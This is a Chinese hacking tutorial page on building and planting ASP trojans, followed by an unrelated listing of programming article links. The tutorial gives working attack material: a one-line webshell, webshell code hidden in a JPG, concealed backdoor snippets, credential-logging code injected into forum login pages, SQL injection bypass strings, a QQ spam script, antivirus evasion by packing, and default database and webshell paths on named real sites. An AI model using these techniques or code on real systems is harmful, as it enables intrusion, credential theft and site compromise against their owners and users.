让你变成ASP木马高手

1.名称：如何制作图片ASP木马 （可显示图片）  
建一个asp文件，内容为  
找一个正常图片ating.jpg，插入一句话木马（比如冰狐的）,用ultraedit进行hex编译，插入图片里，为  
了运行成功，还要搜索<%和％>,将其变为00,(不要替换自己asp的),再把jpg文件开头加入  
  

2. 名称：整蛊网吧  
先用精锐网吧辅助工具得到用户名和密码，然后用计算机管理联结一台机器，开telnet,连接，开共享，  

复制一个木马过去运行即可。  

3．名称：感受MD5暴力破解的魅力  
rainbowcrack用法先用rtgen生成库 "rtgen md5 byte 1 7 5 2400 40000 all"  
1和7代表密码最小和最大长度  
阿汀我再加个方法：http://md5.rednoize.com/ 在线破解  
或者到http://www.md5lookup.com/?category=01-3&;searck=on  

4.很多时候我们做免杀木马，不用懂汇编，用北斗加壳程序就能逃杀，还有很多加壳软件，大家木马加壳  

的时候最好多选择不知名的加壳软件  

5．名称：隐蔽的插入型ASP木马  
(1)在我们要做手脚的asp文件里加入如下内容  
<%if request("action")="ok" then%>  
shell代码插在这里，最好是小马，还要加密一下  
<%end if%>  
访问的时候在你作手脚的asp文件后面加上?action=ok,即可  
(2)另一种方法，在我们要做手脚的asp文件里加入如下内容  
<%  
on error resume next  
strFileName = Request.QueryString("filer")  
set objStream = Server.createObject("ABODB.Stream")  
objStream.Type = 1  
objStream.Open  
objStream.LoadFromFile strFileName  
objStream.SaveToFile Server.mappath("ating.asp"),2  
%>  
访问的时候在做手脚的asp文件后面加上?filer=XXX  
XXX为你本地上传的一个路径如 c:ating123.asp  
上传后在做手脚的asp的同文件夹中有ating,asp  
（3）前提得到system权限，  
进入网站目录下一层  
mkdir s…  
copy ating.asp s…/  
这样杀毒软件找不到的  
访问http://网站/s…/ating.asp即可  

6. 工具http://hack520.tengyi.cn/chaojiyonghu.rar，此工具在该电脑生成一个超级用户 用户名为：  

hack 密码110，在DOS下和计算机管理器上看不到你建立的用户，并且是删除不掉的  

7．名称：QQ群脚本攻击  
打开qq对话诓，复制消息，然后  
下面的内容保存为.vbs 文件，运行即可  
Set WshShell= WScript.createobject("WScript.Shell")  
WshShell.AppActivate "QQ信息攻击脚本"  
for i=1 to 20  
WScript.Sleep 1000  
WshShell.SendKeys"^v"  
WshShell.SendKeys i  
WshShell.SendKeys "%s"  
Next  

8．搜索：程序制作：万鹏 有免费申请空间的，直接上传asp马即可  

9. 名称：全面找出你站上的ASP木马  
（1） 用杀毒软件  
（2） 用FTP客户端软件，点"工具"->"比较文件夹"  
（3） 用asplist2.0.asp上传到站点空间查看，一般功能多的ASP我估计就是ASP木马  
（4） 用工具Beyond Compare  

10名称：拓展思路拿DVBBS帐号 "一个人的圣经"的动画  
（1）以前获得webshell后想进入DVBBS的后台,想要管理员的密码，可以这样  
老办法:  
修改admin_login.asp得到明文DVBBS后台密码  
在"username=trim(replace(request("username")这行后面  
Dim fsoObject  
Dim tsObject  
Set fsoObject = Server.createObject("Scripting.FileSystemObject")  
set tsObject = fsoObject.createTextFile(Server.MapPath("laner.txt"))  
tsObject.Write CStr(request("password"))  
Set fsoObject = Nothing  
Set tsObject = Nothing  
只要管理员登陆后台，在目录下就生成了laner.txt  
（2）login.asp中Case "login_chk"下:  
on error resume next  
Dim rain  
set rain=server.createobject("adodb.stream")  
rain.Type=2  
rain.CharSet="gb2312"  
rain.Position=rain.Size  
rain.Open  
rain.LoadFromFile server.MapPath("laner.asp")  
rain.writetext now&request("username")&"text:"&request("password")&chr(10)  
rain.SaveToFile server.MapPath("laner.asp"),2  
rain.Close  
set rain=nothing  
这样laner.asp将获得全部登陆人的登陆时间，用户名和密码  
（3）如果你有自己的网站或者另外的webshell(强烈建议使用):  
可以建立目录laner,在里面建立一个空的laner.asp和如下代码的rain.asp:  
<%if request("n")<>"" and request("p")<>"" then  
on error resume next  
Dim rain  
set rain=server.createobject("adodb.stream")  
rain.Type=2  
rain.CharSet="gb2312"  
rain.Position=rain.Size  
rain.Open  
rain.LoadFromFile server.MapPath("laner.asp")  
rain.writetext now&"Name:"&request("n")&"Password:"&request("p")&chr(10)  
rain.SaveToFile server.MapPath("laner.asp"),2  
rain.Close  
set rain=nothing  
end if%>  

11. 名称：利用QQ在线状态抓鸽子肉鸡  
生成qq在线状态，把里面的地址改成木马地址，发到论坛  
在login.asp那里插入一句:  
response.write""&request("username")  

&""&"&p="&request("password")&">"  
response.write""&request("username")  

&""&"&p="&request("password")&">"  
结果所有登陆人都会乖乖的把名字和密码送到你的laner.asp 里  

12. 动画名称：媒体中国整站程序存在多处漏洞  
漏洞程序:媒体中国整站程序(第一版)  
官方网站:http://meiti.elgod.com/  
漏洞: %5c(暴库) 上传 注入  
上传页面:down1/upload.asp  

13. 名称：免费电话＋MSH命令行工具  
http://www.globe7.com/ 打开主页，点击坐下角，Free DownLoad，下载到本地，安装，  
运行后，会提示正在寻找你所在地区的区号。由于是国际长途，注册一个帐号，送100美分，国内计时  

0.01/分，你就有100分钟可以白打。是一个帐号哦。  
要注意的就是，固定电话，小灵通 形式为0086521123456 521本来时0521，要省略前面的零，手机号也  

是一样。  

14. 名称：Bo-Blog的新漏洞  
http://网址/index.php?job=../admin/ban  
把其中"禁止搜索的词"那部分另存出来，里面的地址改完整，插入一句话木马  

15. 名称：钩魂者入侵传奇1私服  
用百度 搜索 传奇 inurl:tuku  
或者 传奇 inurl:wplm.htm  
再或者 传奇 inurl:coolsites.asp  
友情链接里插入一句话木马即可  

16. 程序: 宏达企业整站上传漏洞  
官方主页:http://www.mu126.com/  
漏洞页面:/cx/upfile.asp (上传漏洞)  

17．无间盗邮箱，在修改密码里，用户名和密码里添or=or  

18．名称： bbsxp5.16后台得到webshell  
bbsxp5.16过滤了 asp,asp,cdx,cer,扩展名的文件上传，就是在基本设置上添加上上传类型也不行，并禁  

止了修改数据备份数据名称，我们可以把此网页保存在本地，改源代码上传。  

19．名称：JHACKJ 2005年最新精典教程  
下载看看吧，不错，各大网站都有  

20．名称：省力入侵韩国肉鸡  
在啊D的扫描注入点项，打开这个：http://www.google.co.kr/advanced_search?hl=zh-CN  
这是高级搜索项，关键字随便写。这里我写asp?name= 设置为每页显示100条。  
语种选择韩文。搜索，很多sa.  

21．名称：任何网吧的管理系统破解  
选智能ABC，然后vv输入，光标后退两步，按delete键 刚输入的两个vv删除  
最后按Inter键  

22．名称：破解QQ空间插入网页木马的代码  
现在腾讯 已经封了很多QQ空间代码了 就如 以前 插入网页木马的代码也早被封了  
突破禁用的方法 代码如下：  
"javascript :DI.innerHTML=\\"  

style=display:none>
  

最后附上 卡拉是条ok 总结的  
1.上传漏洞[不多讲]  
pS: 如果看到:选择你要上传的文件 [重新上传]或者出现"请登陆后使用"，80%就有漏洞了！  
有时上传不一定会成功,这是因为Cookies不一样.我们就要用WSockExpert取得Cookies.再用DOMAIN上传.  

2.注入漏洞[不多讲]  
pS:对MD5密码.有时我们不是哪么容易跑出来.如果是[SQL数据库].那么我们可以用以下命令:  
http://注入网址;update admin set password=\新MD5密码\ where password=\旧MD5密码\--  
[admin为表名.]  


3.旁注,也就是跨站.  
我们入侵某站时可能这个站坚固的无懈可击，我们可以找下和这个站同一服务器的站点，然后在利用这个  

站点用提权，嗅探等方法来入侵我们 要入侵的站点。，在这里有个难点，就是一些服务器的绝对路径经  

过加密，这就看我们的本事了  


4.暴库:把二级目录中间的/换成%5c  
EY:http://www.ahttc.edu.cn/otherweb/dz/bgs/BigClass.asp?BigClassName=职责范围&BigClassType=1  如果你能看到：\E:ahttc040901otherwebdzdatabaseiXuEr_Studio.asa\不是一个有效的路径。 确定路  

径名称拼写是否正确，以及是否 连接到文件存放的服务器。  
这样的就是数据库了。下载时用FLASHGET换成.MDB格式的就行.  


5.\or\=\or\这是一个可以连接SQL的语名句.可以直接进入后台。我收集了一下。类似的还有：  
\or\\=\ " or "a"="a \) or (\a\=\a ") or ("a"="a or 1=1-- \ or \a\=\a  

6.社会工程学。这个我们都知道吧。就是猜解。  
　ＥＹ：http://www.neu.edu.cn/waishi/admin  admin waishi  

７.写入ASP格式数据库。就是一句话木马[<%execute request("value")%> ]，常用在留言本.  
ＥＹ：http://www.ahsdxy.ah.edu.cn/ebook/db/ebook.asp[这个就是ASP格式的数据库]，再写入一句话  
木马  


8.源码利用：一些网站用的都是网上下载的源码.有的站长很菜.什么也不改.  
EY:http://www.ahsdxy.ah.edu.cn/xiaoyoulu/index.asp  这个站用的是：杰出校友录，源码我下过了，  
默认数据库/webshell路径：databaseliangu_data.mdb 后台管理：adm_login.asp 密码及用户名都是  

admin  


9.默认数据库/webshell路径利用:这样的网站很多/利人别人的WEBSHELL.  
/Databackup/dvbbs7.MDB  
/bbs/Databackup/dvbbs7.MDB  
/bbs/Data/dvbbs7.MDB  
/data/dvbbs7.mdb  
/bbs/diy.asp  
/diy.asp  
/bbs/cmd.asp  
/bbs/cmd.exe  
/bbs/s-u.exe  
/bbs/servu.exe  
工具：网站猎手 挖掘鸡  
EY：http://www.cl1999.com/bbs/Databackup/dvbbs7.MDB  10.查看目录法:人一些网站可以断开目录，可以方问目录。  
EY：http://www.ujs168.com/shop/admin/  
http://escolourfvl.com/babyfox/admin/%23bb%23dedsed2s/  这样我们可以找到数据库，下载不用我教吧  

11.工具溢出:.asp?NewsID= /2j.asp?id=18 .asp?id=[这种方法可以取得大量的WEBSHELL]  

12.搜索引擎利用:  

(1).inurl:flasher_list.asp 默认数据库:database/flash.mdb 后台/manager/  
(2).找网站的管理后台地址:  
site:xxxx.comintext:管理  
site:xxxx.comintitle:管理 <关键字很多，自已找>  
site:xxxx.cominurl:login  
(3).查找access的数据库,mssql、mysql的连接文件  
allinurl:bbsdata  
filetype:mdbinurl:database  
filetype:incconn  
inurl:datafiletype:mdb  
我主不做了。。自已做做吧。。  

13.COOKIE欺骗：把自己的ID修改成管理员的，MD5密码也修改成他的，用桂林老兵工具可以修改COOKIE。  

这个我就不多讲了  


14.利用常见的漏洞：如动网BBS  
EY：http://js1011.com/bbs/index.asp  可以先用:dvbbs权限提升工具，使自已成为前台管理员。  
THEN，运用:动网固顶贴工具，找个固顶贴，再取得COOKIES，这个要你自已做。我们可以用WSockExpert  

取得Cookies/NC包  
这个我就不做了，网上教程多的是，自已下个看看。  
工具：dvbbs权限提升工具 动网固顶贴工具  

15.还有一些老漏洞。如IIS3，4的查看源码，5的delete  
CGI，PHP的一些老洞，我就不说了啊。。太老了。没有什么大用途。 
 

                    

                        
                        

                            
 
                        
                        
                        

                            

                        
                        
                        

                            

                        
                    
                

        
你可能感兴趣的:(让你变成ASP木马高手)
        

            

                

                    
2023第十四届蓝桥杯Java大学生C组真题？（真题+附链接）
                        大C爱编程
蓝桥杯java算法
                        
第十四届蓝桥杯大赛软件赛省赛Java大学A组试题A:求和本题总分：5分【问题描述】求1（含）至20230408（含）中每个数的和。【答案提交】这是一道结果填空的题，你只需要算出结果后提交即可。本题的结果为一个整数，在提交答案时只填写这个整数，填写多余的内容将无法得分。试题B:分糖果本题总分：5分【问题描述】两种糖果分别有9个和16个，要全部分给7个小朋友，每个小朋友得到的糖果总数最少为2个最多为5
                    
                    
零基础怎么开始学网络安全（非常详细）零基础入门到精通，收藏这一篇就够了
                        程序员羊羊
web安全安全网络php学习
                        
一、学习建议1.了解基础概念：开始之前，了解网络安全的基本概念和术语是很重要的。你可以查找网络安全入门教程或在线课程，了解网络安全领域的基本概念，如黑客、漏洞、攻击类型等。2.网络基础知识：学习计算机网络基础知识，了解网络通信原理，不同网络协议（如TCP/IP）的工作方式，以及网络拓扑结构等。3.操作系统知识：了解常见的操作系统，特别是Windows和Linux。掌握基本的命令行操作和系统管理技能
                    
                    
【C++篇】排队的艺术：用生活场景讲解优先级队列的实现
                        far away4002
C++c++stl优先级队列向下（向上）调整算法
                        
文章目录须知欢迎讨论：如果你在学习过程中有任何问题或想法，欢迎在评论区留言，我们一起交流学习。你的支持是我继续创作的动力！点赞、收藏与分享：觉得这篇文章对你有帮助吗？别忘了点赞、收藏并分享给更多的小伙伴哦！你们的支持是我不断进步的动力！分享给更多人：如果你觉得这篇文章对你有帮助，欢迎分享给更多对C++感兴趣的朋友，让我们一起进步！深入理解与实现：C++优先级队列的模拟实现1.引言在算法和数据结构中
                    
                    
【C++篇】深入剖析C++ Vector底层源码及实现机制
                        far away4002
C++c++开发语言vectorvisualstudiovscode
                        
文章目录须知欢迎讨论：如果你在学习过程中有任何问题或想法，欢迎在评论区留言，我们一起交流学习。你的支持是我继续创作的动力！点赞、收藏与分享：觉得这篇文章对你有帮助吗？别忘了点赞、收藏并分享给更多的小伙伴哦！你们的支持是我不断进步的动力！分享给更多人：如果你觉得这篇文章对你有帮助，欢迎分享给更多对C++感兴趣的朋友，让我们一起进步！全面剖析vector底层及实现机制接上篇：【C++篇】探索STL之美
                    
                    
人生建议往死里学网络安全！零基础也能跨行学习！！漏洞挖掘还能做副业
                        黑客老哥
web安全学习安全网络系统安全
                        
一、网络安全的重要性：从‘不学会被黑’到‘学会保护别人’网络安全的概念现在不再是技术圈的独立话题，它已经渗透到社会的各个领域。从个人的隐私保护、企业的数据安全，到国家的信息防护，网络安全几乎影响了每一个人的生活。无论是黑客攻击、勒索病毒、数据泄露，还是国家间的信息战，网络安全已经成为现代社会的基础设施之一。所以，首先要明白学习网络安全的重要性：你不仅是在学习技术，更多的是在为自己和他人的安全“筑城
                    
                    
新手必看——ctf六大题型介绍及六大题型解析&举例解题
                        沛哥网络安全
web安全学习安全udp网络协议
                        
CTF（CaptureTheFlag）介绍与六大题型解析一、什么是CTF？CTF（CaptureTheFlag），意为“夺旗赛”，是一种信息安全竞赛形式，广泛应用于网络安全领域。CTF竞赛通过模拟现实中的网络安全攻防战，让参赛者以攻防对抗的形式，利用各种信息安全技术进行解决一系列安全问题，最终获得“旗帜（Flag）”来获得积分。CTF赛事一般分为两种形式：Jeopardy（解题模式）：参赛者通过解
                    
                    
Redis 使用入门与进阶指南
                        ohn.yu
技术杂谈redis数据库缓存
                        
Redis（RemoteDictionaryServer）是一个高性能的开源内存数据存储系统，常被用作数据库、缓存和消息队列。它以速度快、支持多种数据结构和简单易用而著称。本文将带你从Redis的基础用法开始，逐步深入到适合中级技术人员的实际应用场景。如果你是一个初学者或有一定经验的技术人员，这篇博客会帮助你更好地掌握Redis。什么是Redis？Redis是一个键值对存储系统，但它不仅仅是简单的
                    
                    
【Vue+TypeScript实战指南：提高代码质量和开发效率】
                        小怪兽9699
typescriptvue.js前端
                        
前言在现代前端开发中，Vue.js是一个非常流行且强大的框架，而TypeScript则是增强代码类型安全性和可维护性的利器。本文将详细介绍如何结合Vue和TypeScript来构建高质量的应用程序。无论你是有一定基础的开发者还是希望进一步提升技能的高手，本文都将为你提供详细的步骤和代码示例。1.环境搭建首先，确保你已经安装了Node.js和npm。然后，全局安装VueCLI：npminstall-
                    
                    
黑客最恨的安全武器！开发者必知的代码签名证书终极指南
                        
ssl证书数字证书
                        
为什么黑客害怕代码签名证书？当用户下载未签名的软件时，系统会弹出“未知发布者”红色警告——这正是黑客的突破口。超过62%的用户会因此放弃安装，而剩下的用户可能因忽略警告而中招。代码签名证书通过加密技术为软件赋予“数字身份证”，让用户瞬间识别开发者身份，直接切断黑客伪装合法软件的传播链。这是开发者对抗黑产的终极防线。代码签名证书申请流程↓1、快速申请入口2、直接访问JoySSL官方网站，注册一个新账
                    
                    
Linux GDB print pretty
                        小米人er
我的博客linuxgdb
                        
在GDB（GNU调试器）中，setprintprettyon是一个用于格式化结构体和联合体输出的命令。它的核心作用是让GDB在打印复杂数据类型（如结构体、联合体或类）时，以更易读的缩进和换行格式显示内容，而不是将所有字段挤在一行。以下是详细解释：1.命令的作用默认行为：默认情况下，GDB打印结构体或联合体时，所有字段会显示在一行中，例如：(gdb)pmy_struct$1={field1=42,f
                    
                    
2023年中职网络安全——SQL注入测试（PL）解析
                        旺仔Sec
网络安全职业技能大赛任务解析服务器运维web安全sql网路安全
                        
SQL注入测试（PL）任务环境说明：服务器场景：Server2312服务器场景操作系统：未知（关闭链接）已知靶机存在网站系统，使用Nmap工具扫描靶机端口，并将网站服务的端口号作为Flag（形式：Flag字符串）值提交。访问网站/admin/pinglun.asp页面，此页面存在SQL注入漏洞，使用排序语句进行列数猜测，将语句作为Flag（形式：URL无空格）值提交。页面没有返回任何有用信息，尝试
                    
                    
移动端IOS的H5页面被键盘顶起后，底部有一大片空白区域的解决方法
                        不怕麻烦的鹿丸
浏览器HTML5JavaScript前端html5javascript
                        
在移动端开发中，当使用HTML5(特别是在Vue.js框架下)构建应用时，经常会遇到键盘弹出导致页面内容被顶起的问题。当键盘收起后，页面未能自动恢复到原来的位置。当键盘弹出时，你可以通过JavaScript监听键盘的显示和隐藏事件，并相应地调整页面的滚动位置。exportdefault{mounted(){window.addEventListener('focusin',this.handleF
                    
                    
PHP从零实现区块链（网页版五）地址、密钥和钱包
                        Bczheng1
#php从零实现区块链(网页版)区块链
                        
源码地址：PHP从零实现区块链（五）地址、密钥和钱包-简书注：本例只是从网页版实现一下原理，源码非本人所写，只是将原帖的源码更改了一下，变成网页版在开始例子之前，我们需要安装两个库,并了解库中一些函数的用法。我们先进入mylaravel6目录，然后输入：composerrequirebitwasp/bitcoin安装bitwasp/bitcoin库。但是报一堆错，最下面有这两句：Alternati
                    
                    
如何用AI轻松制作完美PPT，节省时间又提升效率
                        HUIPPT剑盾ai
人工智能powerpoint软件aigc科技
                        
如何用AI轻松制作完美PPT，节省时间又提升效率！在这个快节奏的时代，做PPT成了大家工作和学习的必备技能。无论是准备一场重要的商务演讲，还是一份课题报告，PPT的质量往往决定了成败。然而，传统制作PPT的方式费时又费力，如何快速、高效地制作出吸引人的PPT呢？别担心，AI的出现为我们提供了全新的解决方案！AI制作PPT，让你摆脱繁琐的排版如今你只需提供一些基础的内容，剩下的工作交给AI。AI制作
                    
                    
多学科视角下探索开源&Github、Git初步学习
                        Bulestar_xx
开源githubgit
                        
Think1.Github作为现今最主流的代码托管平台、协作平台甚至是“社交平台”，本身是闭源的。一方面，它是和大多数开发者连接最紧密的开源阵地，另一方面，拥有传统“黑客精神”的人认为将用户身份绑定这样一个闭源平台上恰恰与开源背道而驰。请从早期自由软件运动与现代开源模式变迁的视角，谈一谈你对上述两种认知的理解。2.在拓展阅读《开放式协作》第二章中国根据用户增长和贡献者增长将所有项目分为了四种类型，
                    
                    
31天Python入门——第7天:集合·字典你真的懂了吗?
                        安然无虞
Python手把手教程python开发语言后端
                        
你好，我是安然无虞。文章目录1.集合1.1集合的定义1.2集合的常用操作1.3集合练习2.字典2.1字典的定义2.2嵌套字典和字典的取值2.3字典的常用操作补充知识:字典的优势是查找值效率高2.4字典推导式2.5字典练习很重要的补充练习:希望你能掌握练习一练习二1.集合在之前的章节中,我们学习了列表,元组,字符串.已经可以覆盖七成的使用场景了.那么为什么还要学习集合类型呢.列表:有序可变,元素可重
                    
                    
java替换特殊字符,如何替换字符串中的特殊字符？
                        大禹昆仑

                        
那取决于你的意思。如果您只是想摆脱它们，请执行以下操作：(更新：显然您也想保留数字，在这种情况下，请使用第二行)StringalphaOnly=input.replaceAll("[^a-zA-Z]+","");StringalphaAndDigits=input.replaceAll("[^a-zA-Z0-9]+","");或等效的：StringalphaOnly=input.replaceAl
                    
                    
【Kivy App】ToggleButton切换按钮实例
                        Botiway
移动APPKivypython
                        
在Kivy中，ToggleButton是一种特殊的按钮，它可以在“选中”和“未选中”两种状态之间切换。ToggleButton通常用于表示二进制状态（如开/关）。以下是ToggleButton的使用方法、常用属性以及实例。1.基本使用方法首先，确保你已经安装了Kivy库。如果没有安装，可以使用以下命令进行安装：pipinstallkivy然后，你可以在Kivy应用中创建一个ToggleButton
                    
                    
centos7输入python -m bitsandbytes报错CUDA Setup failed despite GPU being available. Please run the follo
                        小太阳，乐向上
python开发语言
                        
在centos7.9系统中安装gpu驱动及cuda，跑大模型会报错，提示让输入python-mbitsandbytes依然报错：CUDASETUP:Loadingbinary/usr/local/python3/lib/python3.9/site-packages/bitsandbytes/libbitsandbytes_cuda117.so.../lib64/libstdc++.so.6:ve
                    
                    
爬虫基础--request库详解
                        amo的代码园_毕设
Java基础爬虫javaspringbootvue.jspython开发语言
                        
爬虫基础–request库详解1.requests模块介绍request库中文文档：https://docs.python-requests.org/zh_CN/latest/user/quickstart.htmlrequests是一个非常流行的PythonHTTP第三方库，它允许你发送各种HTTP请求，处理cookies、会话、连接池、重定向、多种认证方式等，使得处理HTTP请求变得非常便捷，
                    
                    
什么是 XSS（跨站脚本攻击）？
                        Aishenyanying33
web漏洞owastop10xssxss漏洞
                        
XSS（Cross-SiteScripting）是黑客通过在网页中注入恶意JavaScript代码，让受害者的浏览器执行这些代码的攻击方式。常见攻击场景XSS攻击通常发生在网站允许用户提交内容的地方，例如：论坛、留言板（黑客发布恶意评论）博客文章（黑客在评论区插入恶意代码）搜索框（黑客让受害者访问特定链接）XSS实战演示1️⃣漏洞场景：不安全的留言板假设一个网站vulnerable.com允许用户
                    
                    
一篇文章教会你用Python爬取淘宝评论数据【淘宝商品评论数据接口参数】
                        Tinalee-电商API接口呀
主流电商数据采集API接口淘宝天猫商品API接口淘宝商品评论API接口python开发语言人工智能大数据爬虫java
                        
【一、项目简介】本文主要目标是采集淘宝的评价，找出客户所需要的功能。统计客户评价上面夸哪个功能多，比如防水，容量大，好看等等。【二·淘宝/天猫获得淘宝商品评论API返回值】item_review-获得淘宝商品评论taobao.item_review公共参数名称类型必须描述keyString是调用key（必须以GET方式拼接在URL中）secretString是调用密钥api_nameString是
                    
                    
一文带你看懂URL地址加”/“和不加的区别
                        高山仰止、景行行止
前端
                        
基础概念小科普URL，全称统一资源定位符，它就像互联网上资源的“身份证”，不管是网页、图片，还是各种API接口，都能靠它精准定位。打个比方，URL就是你在互联网这个超级大商场里找店铺的门牌号。这里还有个小知识：以“/”结尾的URL，就像一个敞开大门的大仓库，通常表示目录，比如https://example.com/folder/；不带“/”的URL呢，更像是仓库里的一件具体商品，通常指向具体的资源
                    
                    
使用CRACO自定义 Webpack 配置
                        黄毛火烧雪下
Reactwebpack前端node.js
                        
1、为什么要用CRACO？默认情况下，CRA的Webpack配置是隐藏的，如果你需要修改Webpack，比如：✅CDN配置✅配置alias（路径别名）✅修改Less/Sass变量✅添加Babel插件✅优化Webpack构建（如SplitChunks、CDN加载）✅支持TailwindCSS✅移动端适配启用PostCSS+px转rem如果不用CRACO，你必须运行yarneject/npmrunej
                    
                    
JVM技术八股文
                        小麟School
JVMjvmjava开发语言
                        
JVM面试八股文，整理了出来。排版不太好！目录JVM入门部分为什么要学习JVM？你了解哪些JVM产品？JVM的构成有哪几部分？JVM类加载部分你知道哪些类加载器？为什么需要多个类加载器？什么是双亲委派类加载模型？双亲委派方式加载类有什么优势、劣势？描述一下类加载时候的基本步骤是怎样的？什么情况下会触发类的加载？类加载时静态代码块一定会执行吗？如何理解类的主动加载和被动加载？为什么要自己定义类加载器
                    
                    
`fetch` 和 `axios`的前端使用区别
                        Studying_swz
blog前端
                        
欢迎访问的个人博客：https://swzbk.site/，加好友，拉你入福利群fetch和axios`是前端常用的两种HTTP客户端，以下是它们的核心区别及适用场景：一、本质区别特性fetchaxios类型浏览器原生API（部分环境需polyfill）第三方库（需通过npm/yarn安装）底层实现基于Promise基于Promise，封装了XMLHttpRequest二、核心功能对比1.请求与响
                    
                    
thinkphp5模型查询数据库，查出来的字段直接修改成另外的名字
                        知码客
个人随笔thinkphp5php开发
                        
在ThinkPHP5中，如果你希望在查询数据库时将返回的字段名直接修改为其他名称，可以通过以下几种方式实现：方法1：使用field方法指定字段别名在查询时通过field方法直接为字段指定别名（使用AS关键字）。示例代码：//使用Db类查询$result=Db::name('user')->field('idASuser_id,nameASfull_name')->select();//使用模型查询
                    
                    
一键秒连WiFi智能设备，uni-app全栈式物联开发指南。
                        豆豆（前端开发+ui设计）
前端
                        
如何使用uni-app框架实现通过WiFi连接设备并进行命令交互的硬件开发。为了方便理解和实践，我们将提供相应的源代码示例，帮助开发者快速上手。1.硬件准备在开始之前，请确保你已经准备好以下硬件设备：支持WiFi连接的设备：如ESP8266、ESP32等。控制端设备：手机或电脑，安装有支持uni-app开发的开发环境（如HBuilderX）。网络环境：确保设备和控制端在同一个局域网内。2.uni-
                    
                    
注意力机制：让AI拥有“黄金七秒记忆“的魔法----（点积注意力）
                        y江江江江
机器学习大模型人工智能深度学习
                        
注意力机制：让AI拥有"黄金七秒记忆"的魔法–（点积注意力）注意⼒机制对于初学者来说有点难理解，我们⼀点⼀点地讲。现在先暂时忘记编码器、解码器、隐藏层和序列到序列这些概念。想象我们有两个张量x1和x2，我们希望⽤注意⼒机制把它俩给衔接起来，让x1看⼀看，x2有哪些特别值得关注的地⽅。具体来说，要得到x1对x2的点积注意⼒，我们可以按照以下步骤进⾏操作。（1）创建两个形状分别为(batch_size
                    
                    
如何实现一个apply函数？
                        风茫
Javascriptjavascriptapply
                        
在JavaScript中，apply是一个非常有用的方法，它允许你调用一个函数，并显式地指定该函数内部的this值。与call方法不同，apply方法接受参数的方式是一个数组或类数组对象。我们将手动实现一个类似apply的函数，以深入理解其工作原理。实现步骤1.定义myApply方法首先，我们需要在Function.prototype上定义一个新的方法myApply，这样所有的函数都可以调用它。F
                    
                                
html
                                    周华华
html
                                    
js 
 1，数组的排列 
var arr=[1,4,234,43,52,]; 
 for(var x=0;x<arr.length;x++){ 
   for(var y=x-1;y<arr.length;y++){ 
     if(arr[x]<arr[y]){ 
    &
                                
                                
【Struts2 四】Struts2拦截器
                                    bit1129
struts2拦截器
                                    
Struts2框架是基于拦截器实现的，可以对某个Action进行拦截，然后某些逻辑处理，拦截器相当于AOP里面的环绕通知，即在Action方法的执行之前和之后根据需要添加相应的逻辑。事实上，即使struts.xml没有任何关于拦截器的配置，Struts2也会为我们添加一组默认的拦截器，最常见的是，请求参数自动绑定到Action对应的字段上。 
  
Struts2中自定义拦截器的步骤是：
                                
                                
make:cc 命令未找到解决方法
                                    daizj
linux命令未知make cc
                                    
安装rz sz程序时，报下面错误： 
  
[root@slave2 src]# make posix 
cc   -O -DPOSIX -DMD=2 rz.c -o rz 
make: cc：命令未找到 
make: *** [posix] 错误 127 
  
系统：centos 6.6 
环境：虚拟机 
  
错误原因：系统未安装gcc，这个是由于在安
                                
                                
Oracle之Job应用
                                    周凡杨
oracle job
                                    
  
最近写服务，服务上线后，需要写一个定时执行的SQL脚本，清理并更新数据库表里的数据，应用到了Oracle 的 Job的相关知识。在此总结一下。 
  
一：查看相关job信息 
   1、相关视图  
 dba_jobs  
 all_jobs  
 user_jobs  
 dba_jobs_running 包含正在运行
                                
                                
多线程机制
                                    朱辉辉33
多线程
                                    
转至http://blog.csdn.net/lj70024/archive/2010/04/06/5455790.aspx 
程序、进程和线程： 
 程序是一段静态的代码，它是应用程序执行的蓝本。进程是程序的一次动态执行过程，它对应了从代码加载、执行至执行完毕的一个完整过程，这个过程也是进程本身从产生、发展至消亡的过程。线程是比进程更小的单位，一个进程执行过程中可以产生多个线程，每个线程有自身的
                                
                                
web报表工具FineReport使用中遇到的常见报错及解决办法（一）
                                    老A不折腾
web报表finereportjava报表报表工具
                                    
FineReport使用中遇到的常见报错及解决办法（一） 
这里写点抛砖引玉，希望大家能把自己整理的问题及解决方法晾出来，Mark一下，利人利己。 
  
出现问题先搜一下文档上有没有，再看看度娘有没有，再看看论坛有没有。有报错要看日志。下面简单罗列下常见的问题，大多文档上都有提到的。 
  
1、address pool is full： 
含义：地址池满，连接数超过并发数上
                                
                                
mysql rpm安装后没有my.cnf
                                    林鹤霄
没有my.cnf
                                    
Linux下用rpm包安装的MySQL是不会安装/etc/my.cnf文件的， 
至于为什么没有这个文件而MySQL却也能正常启动和作用，在这儿有两个说法， 
第一种说法，my.cnf只是MySQL启动时的一个参数文件，可以没有它，这时MySQL会用内置的默认参数启动， 
第二种说法，MySQL在启动时自动使用/usr/share/mysql目录下的my-medium.cnf文件，这种说法仅限于r
                                
                                
Kindle Fire HDX root并安装谷歌服务框架之后仍无法登陆谷歌账号的问题
                                    aigo
root
                                    
原文：http://kindlefireforkid.com/how-to-setup-a-google-account-on-amazon-fire-tablet/ 
  
Step 4: Run ADB command from your PC 
  
On the PC, you need install Amazon Fire ADB driver and instal
                                
                                
javascript 中var提升的典型实例
                                    alxw4616
JavaScript
                                    
// 刚刚在书上看到的一个小问题,很有意思.大家一起思考下吧
myname = 'global';
var fn = function () {
	console.log(myname); // undefined
	var myname = 'local';
	console.log(myname); // local
};
fn()

// 上述代码实际上等同于以下代码
m
                                
                                
定时器和获取时间的使用
                                    百合不是茶
时间的转换定时器
                                    
定时器:定时创建任务在游戏设计的时候用的比较多 
  Timer();定时器 
TImerTask();Timer的子类  由 Timer 安排为一次执行或重复执行的任务。 
  
  
  定时器类Timer在java.util包中。使用时，先实例化，然后使用实例的schedule(TimerTask task, long delay)方法，设定
                                
                                
JDK1.5 Queue
                                    bijian1013
javathreadjava多线程Queue
                                    
JDK1.5 Queue 
LinkedList： 
LinkedList不是同步的。如果多个线程同时访问列表，而其中至少一个线程从结构上修改了该列表，则它必须 保持外部同步。（结构修改指添加或删除一个或多个元素的任何操作；仅设置元素的值不是结构修改。）这一般通过对自然封装该列表的对象进行同步操作来完成。如果不存在这样的对象，则应该使用 Collections.synchronizedList 方
                                
                                
http认证原理和https
                                    bijian1013
httphttps
                                    
一.基础介绍 
        在URL前加https://前缀表明是用SSL加密的。 你的电脑与服务器之间收发的信息传输将更加安全。 
        Web服务器启用SSL需要获得一个服务器证书并将该证书与要使用SSL的服务器绑定。 
http和https使用的是完全不同的连接方式，用的端口也不一样,前者是80，后
                                
                                
【Java范型五】范型继承
                                    bit1129
java
                                    
